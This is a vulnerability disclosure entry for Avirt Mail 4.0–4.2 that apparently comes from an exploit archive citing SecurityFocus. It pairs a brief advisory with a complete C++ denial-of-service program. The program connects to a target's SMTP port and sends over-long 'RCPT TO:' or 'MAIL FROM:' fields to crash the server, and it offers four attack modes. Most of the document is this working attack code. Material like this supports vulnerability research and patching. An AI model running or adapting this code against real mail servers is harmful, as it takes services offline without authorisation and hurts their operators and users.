Avirt Mail 4.0/4.2 - 'Mail From:' / 'Rcpt to:' Denial of Service

// source: https://www.securityfocus.com/bid/1825/info

Due to insufficient bounds checking in the code that handles the fields 'MAIL FROM:' and 'RCPT TO:', it is possible to remotely crash Avirt Mail.

Entering over 272 characters into the 'RCPT TO:' field will crash the application upon termination of the session and no further connections can be initiated until Avirt Mail is restarted. This is also the case with the 'MAIL FROM' field with the exception that over 556 characters must be entered.

/*
   Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
   [email protected]
   Win32 console code
*/
#include <mem.h>
#include <winsock.h>
#include <iostream.h>
#include <stdlib.h>

#define RCPT_SIZE 272
#define FROM_SIZE 556

struct sckssString
{
   char *szBuffer;
   int nSize;
};

char szHELO[] = "HELO anonymous";
char szMAIL[] = "MAIL FROM: ";
char szRCPT[] = "RCPT TO: ";
char szQUIT[] = "QUIT";
char szDATA[] = "DATA\nTest data\n.";

void socksenddata(int socket, sckssString* data)
{
   if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
   {
      cout << "->" << data->szBuffer << endl;
      return;
   }
   else
   {
      cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
}

void socksendendline(int socket)
{
   if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
   else
   {
      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
}

void socksendanum(int socket, unsigned long int num)
{
   char *tempa = new char[num+1];
   memset(tempa,'A',num);
   tempa[num]=0;
   if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
   {
      cout << "->" << tempa << endl;
      return;
   }
   else
   {
      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
   delete[] tempa;
}

int main(int argv, char **argc)
{
   if(argv<3)
   {
      cout << "Usage: " << argc[0] << " ip-address type" << endl;
      cout << "Types:" << endl;
      cout << "1 - Overflow in RCPT TO: command.   (aborted session)" << endl;
      cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
      cout << "3 - Overflow in RCPT TO: command.   (finnished session)" << endl;
      cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
      exit(1);
   }
   WORD wVersionRequested = MAKEWORD(1,1);
   WSADATA wsaData;
   WSAStartup(wVersionRequested, &wsaData);

   SOCKADDR_IN saExploit;
   saExploit.sin_family = PF_INET;
   saExploit.sin_addr.s_addr = inet_addr(argc[1]);
   saExploit.sin_port = htons(25);

   SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (sckExploit == INVALID_SOCKET)
   {
      cout << "WSA error (" << WSAGetLastError() << ")" << endl;
      WSACleanup();
      return 1;
   }

   if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
   {
      cout << "WSA error (" << WSAGetLastError() << ")" << endl;
      shutdown(sckExploit,2);
      closesocket(sckExploit);
      WSACleanup();
      return 1;
   }

   sckssString sckssHelo;
   sckssHelo.nSize = strlen(szHELO);
   sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
   strcpy(sckssHelo.szBuffer, szHELO);

   sckssString sckssMail;
   sckssMail.nSize = strlen(szMAIL);
   sckssMail.szBuffer = new char[sckssMail.nSize+1];
   strcpy(sckssMail.szBuffer, szMAIL);

   sckssString sckssRcpt;
   sckssRcpt.nSize = strlen(szRCPT);
   sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
   strcpy(sckssRcpt.szBuffer, szRCPT);

   sckssString sckssQuit;
   sckssQuit.nSize = strlen(szQUIT);
   sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
   strcpy(sckssQuit.szBuffer, szQUIT);

   sckssString sckssData;
   sckssData.nSize = strlen(szDATA);
   sckssData.szBuffer = new char[sckssData.nSize+1];
   strcpy(sckssData.szBuffer, szDATA);

   cout << "Beginning session..." << endl;

   switch(atoi(argc[2]))
   {
      case 1:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         cout << "Overflowing RCPT TO:" << endl;
         socksendanum(sckExploit,RCPT_SIZE);
         socksendendline(sckExploit);

         cout << "Aborting session before data." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 2:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         cout << "Overflowing MAIL FROM:" << endl;
         socksendanum(sckExploit,FROM_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         cout << "Aborting session before data." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 3:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         cout << "Overflowing RCPT TO:" << endl;
         socksendanum(sckExploit,RCPT_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssData);
         socksendendline(sckExploit);

         cout << "Ending session." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 4:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         cout << "Overflowing MAIL FROM:" << endl;
         socksendanum(sckExploit,FROM_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssData);
         socksendendline(sckExploit);

         cout << "Ending session." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      default:
      {
         cout << "Type " << argc[2] << " not allowed." << endl;
         break;
      }
   }

   shutdown(sckExploit,2);
   closesocket(sckExploit);
   WSACleanup();
   cout << endl << "Ready!" << endl;
   return 0;
}


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